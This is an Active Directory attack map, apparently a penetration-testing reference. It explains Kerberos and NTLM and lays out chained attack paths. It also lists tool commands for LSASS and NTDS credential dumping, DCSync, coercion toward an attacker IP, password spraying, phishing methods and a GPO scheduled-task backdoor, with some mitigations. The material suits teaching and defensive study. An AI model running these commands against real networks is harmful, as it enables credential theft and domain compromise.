

Active Directory — Attack Architecture Map v1.1

 kypvas.github.io/ad_attack_architecture/v1.1



// Active Directory Basics for Beginners

Before attacking AD, understand what it is. These are the building blocks every technique relies on.

FOREST (security boundary)

└ DOMAIN (e.g., corp.local)

└ Domain Controller (DC)

Kerberos KDC, LDAP

└ Organizational Units (OUs)

groups – GPOs link to OUs

└ Users

Hosts AD database (NTDS.dit), DNS,

Containers for users, computers,

Each has: SID, NT hash, group

memberships, attributes	
└─ Computers	Machine accounts (COMPUTER\$) – also
have passwords/hashtables	
└─ Groups	Security groups control access;
nesting creates complex paths	
└─ Group Policy Objects (GPOs)	Push config to all machines in linked
OUs	
└─ Service Accounts	Accounts running services – often over-
privileged with SPNs	
└─ CHILD DOMAIN (e.g., eu.corp.local)	
└─ Child → Parent escalation is trivial (ExtraSID / raiseChild)	

BASICS

What you enumerate and attack

- **SID** (Security Identifier): Unique ID for every object — e.g., S-1-5-21-...-500 (built-in admin). RID 512 = Domain Admins, 519 = Enterprise Admins
- **SPN** (Service Principal Name): Links a service to an account — SPNs on user accounts = Kerberoastable
- **UPN** (User Principal Name): user@domain.local format for authentication
- **DN** (Distinguished Name): Full LDAP path — CN=Admin,OU=Users,DC=corp,DC=local
- **SAM Account Name**: Legacy DOMAIN\username format
- **DACL**: Access Control List on every object — defines who can do what to it

BASICS

Trust Types

How domains and forests connect

- **Parent-Child**: Automatic, bidirectional, transitive — child can escalate to parent via ExtraSID
- **Tree-Root**: Connects trees within a forest — transitive, bidirectional
- **Forest (External)**: Between forests — can be one-way or two-way. SID filtering applies
- **Shortcut**: Optimizes authentication between distant domains in same forest
- **Realm**: Trust with non-Windows Kerberos (e.g., Linux MIT Kerberos)
- **Key concept**: Domain ≠ security boundary. Only the **forest** is a security boundary.

BASICS

Critical Groups

Groups that grant privileged access

- **Domain Admins** (RID 512): Full control of the domain — the primary target

- **Enterprise Admins** (RID 519): Full control of the entire forest (exists only in root domain)
- **Schema Admins** (RID 518): Can modify the AD schema (rare but devastating)
- **Account Operators**: Can create/modify most users and groups (often overlooked)
- **Backup Operators**: Can back up/restore any file including NTDS.dit — DCSync equivalent
- **Server Operators**: Logon to DCs, manage services — can escalate to DA
- **DNSAdmins**: Can load arbitrary DLL into DNS service on DC — code execution as SYSTEM
- **Protected Users**: Defensive group — disables NTLM, forces Kerberos AES, no delegation

BASICS

Authentication Protocols

How users prove their identity

- **Kerberos** (port 88): Default for domain auth — ticket-based, uses KDC on DC
- **NTLM** (embedded): Fallback when Kerberos fails — challenge-response, no mutual auth
- **LDAP** (389/636): Directory queries — authentication via simple bind or SASL
- **SMB** (445): File sharing — carries NTLM or Kerberos auth, signing is critical
- **WinRM** (5985/5986): Remote management — PowerShell remoting
- **RDP** (3389): Remote desktop — supports NLA (Network Level Authentication)
- **When Kerberos fails**: IP used instead of hostname, DC unreachable, cross-forest → falls back to NTLM

// Attack Flow Chains

Step-by-step attack paths showing how techniques chain together — the connective tissue beginners miss.

RBCD → NT Hash (Resource-Based Constrained Delegation)

GenericWrite on target\$

write RBCD

msDS-AllowedToAct...

S4U2Self

Forwardable TGS

S4U2Proxy

TGS as admin

impersonate

NT hash / shell

Unconstrained Delegation → DCSync

Find unconstrained host

Coercer

Coerce DC → target

Rubeus dump

Extract DC TGT

PTT

DCSync

ACL Abuse Chain

ForceChangePwd

→

GenericWrite

→

WriteDACL

→

AddMember

→

WriteOwner

→

GenericAll

→

DC GenericAll

ADCS ESC15 (EKUwu) → Domain Admin

Find Schema v1 tmpl

certipy req

Inject App Policy ECU

SAN admin

Rogue cert issued

PKINIT

DA / NT hash

Child → Parent Domain (Trust Escalation)

Own child domain

secretsdump

Dump child krbtgt

get SIDs

Parent + Child SID

ticketer -519

Golden + EA SID

DCSync parent

Forest owned

SCCM → Domain Compromise

sccmhunter find

NAA creds

Harvest secrets

push coerce

NTLM relay → LDAP

TAKEOVER

Site takeover

Kerberoasting → Domain Admin

Enumerate SPNs

GetUserSPNs

Request TGS (RC4)

hashcat 13100

Crack offline

PtH / auth

Service acct access

Shadow Credentials → NT Hash

GenericWrite on user

write key

msDS-KeyCredentialLink

certipy shadow

Get certificate

PKINIT

NT hash / TGT

PetitPotam → ESC8 → DCSync

Coerce DC (PetitPotam)

relay NTLM

ntlmrelayx → ADCS HTTP

enroll as DC

DC certificate

PKINIT

DC TGT + NT hash

DCSync

All domain hashes

LLMNR Poisoning → Relay → RBCD

Responder poisoning

capture auth

ntlmrelayx → LDAP

set RBCD

RBCD on target

S4U chain

TGS as admin

secretsdump

NT hash / shell

WriteDACL → DCSync → Golden Ticket

WriteDACL on domain

dacledit

Grant DCSync rights

secretsdump

Dump krbtgt hash

ticketer

Golden Ticket

noPac → Domain Admin (CVE-2021-42278/42287)

Create machine acct

rename to DC

SAMAccountName = DC

request TGT

TGT as DC name

rename back

Request TGS → DC\$

DCSync

Domain Admin

ZeroLogon → Instant DA (CVE-2020-1472)

Netlogon zero challenge

~256 tries

DC password → empty

auth as DC\$

DCSync all hashes

restore pwd

Domain owned

gMSA Read → Lateral Movement

Find gMSA readers

gMSADumper

Read msDS-ManagedPwd

extract hash

gMSA NT hash

PtH / TGT

Service access / DA

MSSQL Linked Servers → Code Execution

Find MSSQL (SPN enum)

mssqlclient

Enum linked servers

EXEC AT

Crawl link chain

xp_cmdshell

SYSTEM on SQL host

mitm6 (DHCPv6) → WPAD → Relay → DA

mitm6 DHCPv6 poison

WPAD proxy

Victims auth via NTLM

ntlmrelayx

Relay → LDAP(S)

delegate / add user

DA / RBCD / Shadow Creds

WebDAV Coercion → HTTP Relay → RBCD

Find WebClient enabled

coerce HTTP

PetitPotam @80

relay LDAP

ntlmrelayx → set RBCD

S4U chain

Admin on target

Certifried → DA (CVE-2022-26923)

Create machine acct

set dNSHostName

dNSHostName = DC FQDN

certipy req

Cert issued as DC\$

PKINIT

DCSync / DA

PrintNightmare → SYSTEM (CVE-2021-34527)

Host SMB share + DLL

AddPrinterDriverEx

Target loads malicious DLL

Spooler SYSTEM

Code exec as SYSTEM

if DC

DCSync / DA

ESC1 Direct → Domain Admin

certipy find -vulnerable

SAN template

certipy req -upn DA

cert issued

certipy auth -pfx

PKINIT

DA NT hash

Constrained Delegation (without Protocol Transition)

Find msDS-AllowedToDelegateTo

no T2A4D

Need victim auth to svc

coerce / RBCD trick

Forwardable TGS obtained

S4U2Proxy

TGS for allowed SPN

alt service

Admin access

DnsAdmins → DLL Load → SYSTEM on DC

Member of DnsAdmins

dnscmd

Set ServerLevelPlugin DLL

restart DNS

DLL loaded as SYSTEM

on DC

SYSTEM on DC → DA

LNK / SCF / URL File Drop → Hash Capture

Write access to share

drop LNK/SCF

User browses share

auto-auth

NTLMv2 to Responder

crack or relay

Credentials / shell

KrbRelayUp → Local Admin

Low-priv domain user

create machine\$

Coerce local SYSTEM

relay Kerberos

Set RBCD on local host

S4U chain

Local Admin

Cross-Forest via Golden + SID History (RID > 1000)

Own trusted forest

dump krbtgt

Craft Golden Ticket

SID History RID>1000

Inject cross-forest SID

access resources

Groups with RID > 1000

Pre-Windows 2000 Computer Account → Domain Compromise

Enum pre2k accounts

pre2k tool

Auth with machine name pwd

lowercase name

Machine account TGT

S4U / RBCD / Silver

Lateral Mvmt / DA

RemoteMonologue → DCOM → NTLMv2 → Lateral Movement

DCOM trigger on target

Internal-Monologue

NTLMv2 hash captured

crack or relay

Crack / Relay hash

PtH / auth

Lateral Movement / DA

Kerberos Relay via CNAME → DNS Abuse → Compromise

Register CNAME record

victim resolves

Kerberos auth redirected

relay to LDAP

Relay to LDAP / service

escalate

Privilege Escalation

CVE-2025-24071 → .library-ms Archive → NTLM Hash Leak

Craft .library-ms file

package in archive

RAR / ZIP with payload

victim extracts

Explorer resolves UNC

auto-auth

NTLMv2 hash leaked

crack or relay

Credentials / shell

Walking Dead → Disabled Account → Privesc

Enum disabled accounts

LazarusWakeUp

Find ACL (GenericAll)

re-enable

Account alive + privs

auth as user

Privilege Escalation

AD Recycle Bin → Restore Deleted Object → Privesc

Enum deleted objects

bloodyAD

Find writable deleted obj

restore

Object + group memberships

auth / SID History

Domain Admin

// Kerberos Fundamentals

Understanding Kerberos is essential — every ticket-based attack exploits a specific step in this protocol.

Kerberos Authentication Flow

Step 1: AS-REQ (Authentication Service Request)

User → KDC: "I am user X, I want a TGT"

- └─ Encrypted with user's NT hash (password-derived)
- └─ Contains: username, timestamp, requested lifetime
- └─ Pre-authentication proves user knows password

Step 2: AS-REP (Authentication Service Reply)

KDC → User: "Here is your TGT"

- └─ TGT encrypted with krbtgt hash (only KDC can decrypt)
- └─ Session key encrypted with user's NT hash
- └─ TGT contains: user identity, PAC, timestamps, session key

Step 3: TGS-REQ (Ticket Granting Service Request)

User → KDC: "I want to access service Y" (presents TGT)

- └─ Includes TGT + authenticator (encrypted with session key)
- └─ Specifies target SPN (e.g., CIFS/fileserver.domain.local)
- └─ KDC does NOT verify user can access service – just issues TGS

Step 4: TGS-REP (Ticket Granting Service Reply)

KDC → User: "Here is your Service Ticket (TGS)"

- └ TGS encrypted with service account's NT hash
- └ Contains PAC with user's group memberships
- └ New session key for user ↔ service communication

Step 5: AP-REQ (Application Request)

User → Service: "Here is my ticket, let me in"

- └ Service decrypts TGS with its own hash
- └ Validates PAC (optional – many services skip this)
- └ If PAC validation is skipped, Silver Tickets go undetected

KERBEROS

TGT (Ticket Granting Ticket)

The "master key" to request service tickets

- Encrypted with **krbtgt** account hash — only the KDC can read it
- Contains user identity, PAC (Privilege Attribute Certificate), timestamps
- Default lifetime: **10 hours**, renewable for 7 days
- **Golden Ticket**: forged TGT with arbitrary PAC — requires krbtgt hash
- **Diamond Ticket**: modifies a *legitimate* TGT's PAC — harder to detect
- Stored in memory (LSASS) or as .kirbi/.ccache files

KERBEROS

TGS (Service Ticket)

Grants access to a specific service

- Encrypted with the **target service account's NT hash**
- Any authenticated user can request a TGS for *any* SPN — the KDC does not check authorization
- **Silver Ticket**: forged TGS — never touches KDC, hard to detect
- **Kerberoasting**: request TGS, extract hash, crack offline
- SPN swap: the service name in the ticket is not encrypted — can be changed post-issuance

KERBEROS

PAC (Privilege Attribute Certificate)

Embedded in every ticket — defines who you are

- Contains: user SID, group SIDs, logon info, resource group memberships
- Signed by **krbtgt** (server checksum) and **KDC** (KDC checksum)
- Most services do not validate PAC signatures with the KDC
- **MS14-068** (CVE-2014-6324): forged PAC → any user becomes Domain Admin
- **ExtraSID attack**: inject Enterprise Admin SID (-519) into PAC for forest takeover

KERBEROS

S4U Extensions

Service-for-User — the backbone of delegation attacks

- **S4U2Self**: Service requests a ticket *to itself* on behalf of a user (protocol transition)
- **S4U2Proxy**: Service uses the user's ticket to access another service on their behalf
- **Constrained Delegation**: S4U2Self → S4U2Proxy chain to impersonate any user to allowed SPNs
- **RBCD**: S4U2Self (forwardable) → S4U2Proxy to target — write-based, no DC config needed
- **Key insight**: S4U2Self only returns forwardable ticket if TRUSTED_TO_AUTH_FOR_DELEGATION is set
- **RBCD trick**: RBCD targets accept non-forwardable tickets from S4U2Self — bypasses the check

// NTLM Authentication Basics

NTLM is the fallback protocol when Kerberos fails — and its weaknesses enable relay, capture, and pass-the-hash attacks.

NTLM Challenge-Response Flow

Step 1: NEGOTIATE

Client → Server: "I want to authenticate using NTLM"

- └─ Flags: NTLMSSP_NEGOTIATE_NTLM, NTLMSSP_NEGOTIATE_SEAL, etc.
- └─ Indicates supported features (NTLMv1 vs NTLMv2, signing, etc.)

Step 2: CHALLENGE

Server → Client: "Prove your identity with this challenge"

- └─ Server sends 8-byte random challenge (nonce)
- └─ This challenge can be relayed to another server
- └─ Challenge is not tied to the target server identity

Step 3: AUTHENTICATE

Client → Server: "Here is my response"

- └─ Client computes HMAC-MD5 of challenge using NT hash
- └─ NTLMv1: DES-based, crackable, susceptible to rainbow tables
- └─ NTLMv2: HMAC-MD5 with server+client challenge + timestamp
- └─ Response can be captured (Responder) and cracked offline

Why NTLM is dangerous:

- └ No mutual authentication – client doesn't verify server identity
- └ Challenge not bound to destination – enables relay attacks
- └ Pass-the-Hash works because NT hash IS the credential (no salt)
- └ Forced auth via UNC paths, Office docs, profile paths, coercion RPC

NTLM

NTLMv1 vs NTLMv2

Version determines crackability and relay potential

- **NTLMv1**: DES-based, 8-byte challenge — trivially crackable, convertible to NT hash via crack.sh
- **NTLMv1 + ESS**: Extended Session Security adds client challenge but still weak
- **NTLMv2**: HMAC-MD5 with timestamp + client challenge + target info — harder to crack but still offline-crackable
- **Net-NTLMv2**: what you capture with Responder — hashcat mode 5600
- **Check policy**: LmCompatibilityLevel registry value controls version (0-5)
- **Downgrade**: if NTLMv1 allowed, force downgrade for easier cracking

NTLM RELAY

NTLM Relay Attack Paths

The most impactful NTLM weakness

Relay captured NTLM auth to a different target:

- **SMB → SMB**: Requires signing disabled on target (default on workstations)
- **SMB → LDAP(S)**: Create machine accounts, modify ACLs, set RBCD
- **SMB → HTTP**: ADCS web enrollment (ESC8), Exchange
- **HTTP → LDAP**: Works if Extended Protection for Auth is off
- **Tools**: ntlmrelayx + Responder (--disable-http-server if relaying)
- **EPA / Channel Binding**: mitigates relay to LDAPS / HTTPS
- **SMB Signing required**: Blocks SMB relay — check with netexec smb target --gen-relay-list

NTLM

Coercion + Relay Combos

Force authentication, then relay to valuable targets

Chain coercion with relay for maximum impact:

- **PetitPotam + ADCS**: Coerce DC → relay to CA web enrollment → DC cert → DCSync
- **PrinterBug + Unconstrained**: Coerce DC to unconstrained host → capture TGT
- **DFSCoerce + RBCD**: Coerce target → relay to LDAP → set RBCD → impersonate
- **WebDAV + Coercion**: HTTP-based coercion from internal host → relay to LDAP (no signing check)
- **Key requirement**: WebDAV (WebClient service) enables HTTP-based coercion on workstations

// Hash Types Reference

Know your hashes — each type has different cracking methods, hashcat modes, and exploitation potential.

AD Hash Types & Hashcat Modes

HASH TYPE WHERE FOUND	HASHCAT	EXAMPLE / FORMAT
NT Hash (NTLM)	1000	aad3b435...:32ed87bdb5fdc5e9cba...
LM Hash	3000	aad3b435b51404eeaad3b435b51404ee
Net-NTLMv1	5500	user:::challenge:response
Net-NTLMv2	5600	user::domain:challenge:hmac:blob
AS-REP (Kerberos)	18200	\$krb5asrep\$23\$user@domain:hash
TGS-REP (Kerberoast)	13100	\$krb5tgs\$23*\$user\$domain\$spn*\$hash
TGS-REP (AES)	19700	\$krb5tgs\$17/18\$user\$domain\$hash
DCC2 (mscachev2)	2100	\$DCC2\$10240#user#hash
MsCacheV1	1100	hash:username

CRACKING TIPS

- └ NT hashes: No salt → rainbow tables work, instant lookup via CrackStation/NTLM.pw
- └ Net-NTLMv2: Offline crackable but salted with challenge – wordlist + rules
- └ AS-REP / TGS: RC4 = fast (mode 18200/13100), AES = slow (mode 19700)
- └ DCC2: Very slow to crack (PBKDF2, 10240 iterations) – targeted only
- └ Pass-the-Hash: NT hash is the credential itself – no need to crack

// Initial Access

Before exploiting AD, you need a foothold. These are the most common ways to obtain initial domain credentials or network position.

INITIAL

Network Position (No Creds)

What you can do without any credentials

- **LLMNR/NBT-NS Poisoning:** Responder captures Net-NTLMv2 hashes from broadcast name resolution
- **IPv6 DNS Takeover:** mitm6 → WPAD proxy → relay NTLM to LDAP
- **ARP Spoofing:** MITM position on local subnet
- **Null session:** Test for anonymous LDAP/SMB binds — `netexec smb target -u '' -p ''`
- **Guest access:** Some domains leave guest enabled — `netexec smb target -u 'guest' -p ''`
- **AS-REP Roasting:** Only needs a username list — no creds required

INITIAL

Password-Based Access

Credential reuse, spray, and default passwords

- **Password Spraying:** kerbrute or netexec — one password against many users
- **Default passwords:** "Password1", "Welcome1", "CompanyName2024", seasonal patterns
- **Credential stuffing:** Leaked credentials from breaches (dehashed, HaveIBeenPwned)
- **Lockout policy:** Always check `net accounts /domain` before spraying
- **Kerberos pre-auth:** Spray via Kerberos to avoid NTLM lockout events on DCs

INITIAL

Phishing / Social Engineering

Get users to run your payload or hand over creds

- **Office macros:** Legacy but still works in some orgs (VBA stomping, .docm)
- **HTML smuggling:** Deliver payload embedded in HTML email attachment
- **ISO/IMG/LNK:** Bypass Mark-of-the-Web via container files
- **Teams / Slack phishing:** External messaging often allowed, bypasses email filters
- **MFA fatigue / push bombing:** Repeated MFA prompts until user approves
- **Device code phishing:** Abuse OAuth device flow for token theft

INITIAL

Network-Based Attacks

Exploit network services for initial foothold

- **SMB shares:** Anonymous/guest readable shares with credentials in scripts, configs

- **SYSVOL / GPP**: Group Policy Preferences with encrypted passwords (MS14-025, key is public)
- **SNMP community strings**: Default "public"/"private" → enumerate network
- **MSSQL**: Default SA password, xp_cmdshell, linked servers
- **ADCS web enrollment**: Anonymous enrollment possible if misconfigured
- **VPN / Citrix / RDWeb**: External-facing auth portals for spray attacks

// Credential Dumping Deep Dive

Where credentials live in Windows/AD and how to extract them. Understanding the source determines the hash type and attack potential.

CRED DUMP

LSASS Memory

Local Security Authority Subsystem Service

LSASS caches credentials for SSO. Contains **plaintext passwords** (if WDigest enabled), NT hashes, Kerberos tickets, and keys.

- **Mimikatz**: `sekurlsa::logonpasswords` — dumps all cached creds
- **Linux**: `lsassy` — remotely dump via CrackMapExec or standalone
- **Dump & parse**: `procdump -ma lsass.exe` → offline pypykatz analysis
- **Protection**: RunAsPPL (Protected Process Light) — blocks most tools
- **PPL bypass**: Vulnerable kernel drivers (e.g., `RTCore64.sys`), `PPLdump`
- **WDigest**: `UseLogonCredential=1` in registry → plaintext passwords in LSASS

CRED DUMP

SAM Database

Security Account Manager — local accounts only

SAM stores NT hashes of **local user accounts** (not domain accounts). Encrypted with SYSKEY (boot key).

- **Location**: `C:\Windows\System32\config\SAM` (locked while OS running)
- **Online**: `secretsdump.py -target-ip 10.0.0.1` using admin creds
- **Offline**: Dump SAM + SYSTEM hives via `reg save` or Volume Shadow Copy
- **Local admin reuse**: Same local admin password across multiple hosts = lateral movement
- **LAPS**: Randomizes local admin passwords per-host to prevent reuse

CRED DUMP DA

NTDS.dit

AD database — every domain account hash

The Active Directory database file containing **all domain user NT hashes**. The ultimate prize.

- **Location:** C:\Windows\NTDS\ntds.dit on every Domain Controller
- **DCSync:** secretsdump.py -just-dc domain/admin@dc — replicates hashes remotely
- **Vol Shadow Copy:** vssadmin create shadow /for=C: → copy ntds.dit + SYSTEM
- **Offline parse:** secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
- **Required rights:** DCSync needs DS-Replication-Get-Changes + DS-Replication-Get-Changes-All
- **Contains:** NT hashes, Kerberos keys (AES256/128), password history, supplemental creds

CRED DUMP

DCC2 (Domain Cached Credentials)

Cached logon creds for offline authentication

Windows caches the last 10 domain logon credentials locally so users can log in when DC is unreachable.

- **Location:** HKLM\SECURITY\Cache registry hive (NL\$1 through NL\$10)
- **Format:** MSCACHEV2 / DCC2 — PBKDF2 with 10240 iterations
- **Extract:** secretsdump.py or Mimikatz lsadump::cache
- **Hashcat:** Mode 2100 — extremely slow to crack
- **Cannot Pass-the-Hash:** DCC2 hashes are *not* NT hashes — must be cracked
- **Useful when:** Laptop disconnected from network, only cached creds available

CRED DUMP

Cached Credentials & All-in-One Dumping

Grab everything at once — browsers, Wi-Fi, mail clients, databases, sysadmin tools

Beyond LSASS and SAM, credentials are cached in dozens of applications across the system. All-in-one tools extract them in seconds.

- **LaZagne:** All-in-one credential recovery — browsers, Wi-Fi, mail (Outlook, Thunderbird), databases, sysadmin tools (FileZilla, PuTTY, WinSCP, OpenSSH), Windows Credential Manager
- **Coverage:** 40+ applications supported across Windows and Linux — single binary, no dependencies
- **Wi-Fi passwords:** netsh wlan show profile name=X key=clear or DPAPI-decrypt from registry

- **RDP saved creds**: Stored as DPAPI blobs in
%LOCALAPPDATA%\Microsoft\Credentials\
- **PuTTY / WinSCP / FileZilla**: Cleartext or weakly encrypted passwords in registry and XML configs
- **Mail clients**: Outlook profiles in registry, Thunderbird logins.json + key4.db
- **Windows Credential Manager**: cmdkey /list to enumerate, SharpDPAPI to decrypt programmatically
- goLazagne: Go implementation — cross-platform, compiles to single static binary

CRED DUMP

RemoteMonologue

DCOM-based credential dumping via Internal-Monologue

- Leverages the **Internal-Monologue** technique over **DCOM** to extract NTLMv1/v2 hashes from remote machines
- **No LSASS interaction** — does not touch LSASS memory, avoiding EDR detections for process access
- Triggers local NTLM authentication on the remote host via DCOM and captures the resulting hash
- Extracts **NTLMv1 or NTLMv2** hashes depending on target configuration
- NTLMv1 hashes can be converted to NT hashes via crack.sh or rainbow tables
- **OPSEC advantage**: Avoids Sysmon Event 10 (LSASS access) and most credential dumping signatures

CRED DUMP SCCM

SCCMDecryptor-BOF

Decrypt SCCM NAA credentials, task sequences & collection variables

- **BOF** (Beacon Object File) that decrypts SCCM secrets stored in WMI on managed endpoints
- Targets **Network Access Account (NAA)** credentials — often overprivileged domain accounts
- Also decrypts **task sequence** secrets and **collection variable** passwords
- Credentials stored in WMI class CCM_NetworkAccessAccount encrypted with DPAPI
- Runs in-process via Beacon — no binary on disk, minimal forensic footprint
- **Impact**: NAA creds frequently have excessive permissions — can lead to lateral movement or privilege escalation

CRED DUMP

goLAPS

Go-based LAPS password extraction tool

- Reads the `ms-Mcs-AdmPwd` attribute from computer objects to extract **LAPS-managed local admin passwords**
- Written in **Go** — compiles to a single static binary, cross-platform
- Queries LDAP for computer objects where the caller has read access to the LAPS attribute
- **Requires:** Authenticated domain user with read permissions on `ms-Mcs-AdmPwd`
- **Common finding:** Excessive read permissions on LAPS attributes — helpdesk or IT groups can read passwords for all hosts
- Use extracted local admin credentials for **lateral movement** via Pass-the-Hash or direct authentication

// Coercion Techniques Breakdown

Force a machine to authenticate to your listener — the trigger for relay and unconstrained delegation attacks.

COERCION

PetitPotam (MS-EFSR)

EfsRpcOpenFileRaw • CVE-2021-36942

- Abuses Encrypting File System Remote Protocol (MS-EFSR)
- Forces target to authenticate to attacker via **SMB**
- **Unauthenticated** variant patched — authenticated variant still works
- `PetitPotam.py` `attacker-ip target-ip -u user -p pass`
- **Best combo:** PetitPotam + `ntlmrelayx` → ADCS (ESC8) → DC cert → DCSync
- **Mitigation:** Enable Extended Protection for Auth, require SMB signing, disable NTLM

COERCION

PrinterBug / SpoolSample

MS-RPRN RpcRemoteFindFirstPrinterChangeNotification

- Abuses Print Spooler service (MS-RPRN) — **enabled by default**
- Requires **authentication** (any domain user)
- Forces target to authenticate via **SMB** to attacker
- `SpoolSample.exe` (Windows) or `printerbug.py` (Linux)
- **Best combo:** PrinterBug + Unconstrained Delegation → capture DC TGT
- **Mitigation:** Disable Print Spooler on DCs — `Stop-Service Spooler`

COERCION

DFSCoerce (MS-DFSNM)

Distributed File System Namespace Management

- Abuses DFS namespace RPC calls (NetrDfsAddStdRoot, NetrDfsRemoveStdRoot)
- Requires **authentication** — any domain user
- Forces target to authenticate via **SMB**
- `dfscoerce.py attacker-ip target-ip -u user -p pass`
- Works on servers running DFS Namespace service
- **Combo**: Similar to PetitPotam — relay to LDAP for RBCD or to ADCS

COERCION

ShadowCoerce (MS-FSRVP)

File Server VSS Agent Service

- Abuses File Server VSS Agent (MS-FSRVP) — used for remote VSS snapshots
- Requires **authentication**
- Only works on servers with **File Server VSS Agent Service** running
- `shadowcoerce.py attacker-ip target-ip -u user -p pass`
- Less common than PetitPotam/PrinterBug but useful as alternative

COERCION

WebDAV + Coercion

HTTP-based coercion for NTLM relay to LDAP

- WebClient service converts SMB coercion to **HTTP** authentication
- **Why it matters**: HTTP auth has no signing → can relay to LDAP/LDAPS
- SMB → LDAP relay blocked by LDAP signing, but HTTP → LDAP is not
- **Start WebClient**: Search indexer trigger or `searchconnector-ms` file
- **Chain**: Trigger coercion (PetitPotam) → WebClient redirects to HTTP → relay to LDAP → RBCD
- **Scope**: WebClient typically only on **workstations**, not servers

COERCION

Kerberos Relay via CNAME

DNS CNAME abuse for cross-service Kerberos relay

- Abuses **DNS CNAME records** to redirect Kerberos authentication to attacker-controlled services
- CNAME records create an alias — Kerberos follows the alias, authenticating to the **canonical name's SPN**
- Enables **cross-service relay** by redirecting authentication intended for one service to another
- Documented by **cymulate.com** — demonstrates practical exploitation in enterprise environments
- **Requirements:** Ability to create or modify DNS CNAME records (default: any authenticated user for ADIDNS)
- **Mitigation:** Restrict ADIDNS record creation, monitor for unexpected CNAME record changes

COERCION

Reflective Kerberos Relay

Self-relay Kerberos auth back to originating service

- **Self-relay** Kerberos authentication back to the **originating service** on the same machine
- Enables **privilege escalation without a second machine** — no external relay target needed
- Documented by **redteam-pentesting.de** — demonstrates single-host Kerberos relay attacks
- Triggers local service authentication and relays the resulting Kerberos ticket back to the same host
- **Impact:** Local privilege escalation via Kerberos — alternative to NTLM-based relay attacks (e.g., KrbRelayUp)
- **Mitigation:** Enable LDAP signing and channel binding, restrict service account permissions

// DPAPI Secrets Deep Dive

Windows Data Protection API protects browser passwords, Wi-Fi keys, RDP credentials, and more. Understanding the key hierarchy is essential for extraction.

DPAPI Key Hierarchy

DPAPI KEY HIERARCHY

Domain Backup Key (stored on DC, RSA key pair)

└─ Can decrypt ANY domain user's master keys

User Master Key (per-user, rotates every 90 days)

- └ Location: %APPDATA%\Microsoft\Protect\{SID}\{GUID}
- └ Protected by: user password hash (domain) or local password
- └ Also protected by: Domain Backup Key (domain-joined machines)
- └ Used to derive blob-specific keys for each secret

DPAPI Blob (individual encrypted secret)

- └ Each secret (password, key, cert) wrapped in a DPAPI blob
- └ Blob references which Master Key GUID was used
- └ Decrypted by deriving key from Master Key + entropy

WHAT DPAPI PROTECTS

- └ Chrome/Edge passwords Login Data SQLite → DPAPI blob per credential
- └ Chrome/Edge cookies Session cookies → account takeover
- └ Windows Credential Manager Saved RDP, SMB, web credentials
- └ Wi-Fi profiles WPA2 PSKs stored via DPAPI
- └ Certificate private keys User certificate stores
- └ Scheduled task creds Run-as credentials for tasks
- └ Azure / Office tokens Cached OAuth tokens

DPAPI

Remote DPAPI Extraction

Mass secret harvesting across domain hosts

- **DonPAPI**: Automated mass DPAPI secret extraction — browsers, creds, Wi-Fi, certs
- **dploot**: Python DPAPI looting — dploot triage for all secrets at once
- **SharpDPAPI**: .NET tool for Windows — SharpDPAPI.exe triage /server:DC
- **With Domain Backup Key**: Decrypt any user's secrets without their password
- **Without Backup Key**: Need user's password/hash or LSASS-cached master keys
- **netexec module**: netexec smb targets -M donpapi for quick sweep

DPAPI IMPACT

Post-Exploitation Gold

What you get from DPAPI secrets

- **Browser passwords**: Intranet portals, cloud admin panels, personal accounts
- **RDP saved creds**: Pivot to additional servers the user connects to
- **Wi-Fi PSKs**: Access to additional network segments (OT, guest, management)
- **OAuth tokens**: Azure AD, M365, AWS — cloud lateral movement
- **VPN credentials**: External access persistence
- **Certificate private keys**: Authenticate as user via PKINIT even after password change

// GPO Abuse Deep Dive

Group Policy Objects push configuration to all domain machines. If you can edit a GPO, you control every computer and user it applies to.

GPO

Prerequisites

What you need to abuse a GPO

- **Write access to GPO:** GenericWrite, GenericAll, or WriteProperty on the GPO object
- **Find writable GPOs:** BloodHound edge GenericWrite or GenericAll to GPO nodes
- **Check GPO scope:** Which OUs does the GPO apply to? What computers/users are in those OUs?
- **Cypher query:** `MATCH (g:GPO) MATCH p=shortestPath((u:User)-[*1..]->(g)) WHERE u.owned=true RETURN p`
- **GPO inheritance:** GPOs at higher OUs apply unless blocked — domain-level GPOs affect everything

GPO

Exploitation Methods

What you can push via malicious GPO

- **Scheduled Task:** `SharpGPOAbuse --AddComputerTask --TaskName "Backdoor" --Author SYSTEM --Command cmd.exe --Arguments "/c ..."`
- **Startup Script:** Add PowerShell/batch script that runs on every boot
- **Restricted Groups:** Add attacker to local Administrators group on all targets
- **Registry modification:** Push registry keys (disable AV, enable WDigest, etc.)
- **GPOddity:** `GPOddity` for immediate scheduled task deployment without GPO refresh wait
- **Software install:** Deploy MSI package to target machines

GPO

Detection & Cleanup

Don't leave GPO backdoors behind

- **Event 5136:** Directory Service Changes — logs GPO modification in AD
- **Event 4719:** System audit policy changes (if GPO modifies audit config)
- **GPO version numbers:** Each edit increments version — compare against known-good baseline

- **SYSVOL monitoring:** File integrity monitoring on \\domain\SYSVOL\domain\Policies
- **Cleanup:** Always restore original GPO state after testing — GPOs affect production systems
- **Tip:** Use `gpresult /r` on target to verify which GPOs are actually applied

// Delegation Attacks Deep Dive

Three types of Kerberos delegation and their exploitation paths. Beginners often miss how RBCD + S4U chains lead to NT hashes.

DELEGATION

Unconstrained Delegation

`unconstraineddelegation: true` • DCs have this by default

Any service with unconstrained delegation **caches the TGT** of every user that authenticates to it. Combine with coercion to steal DC TGTs.

- **Find:** BloodHound MATCH (`c {unconstraineddelegation:true}`) RETURN `c`
- **Coerce:** Coercer / PetitPotam to force DC auth to unconstrained host
- **Extract:** Rubeus dump /user:DC\$ /service:krbtgt
- **Convert:** `ticketConverter.py kirbi → ccache`
- **DCSync:** `secretsdump.py -k -no-pass` using stolen DC TGT
- **Key insight:** Works child→parent by coercing parent DC to child unconstrained host

Why does this work? When a user authenticates to a service with unconstrained delegation, the KDC includes the user's full TGT inside the service ticket. The service caches this TGT in memory. By coercing a DC to authenticate to such a host, the DC's own TGT gets cached — and a DC's TGT can be used for DCSync.

DELEGATION

Constrained Delegation

`msDS-AllowedToDelegateTo` • with/without protocol transition

With protocol transition: S4U2Self → S4U2Proxy to impersonate any user to target SPN.

- **Find:** `findDelegation.py` or BH MATCH `p=(u)-[:AllowedToDelegate]->(c)` RETURN `p`
- **Linux:** `getST.py -spn CIFS/target -impersonate Administrator`
- **Windows:** `Rubeus s4u /impersonateuser:admin /msdsspn:CIFS/target`
- **SPN swap:** SPN is not encrypted — use `-altservice` to change target service
- **Without protocol transition:** Requires RBCD self-trick to get forwardable TGS first

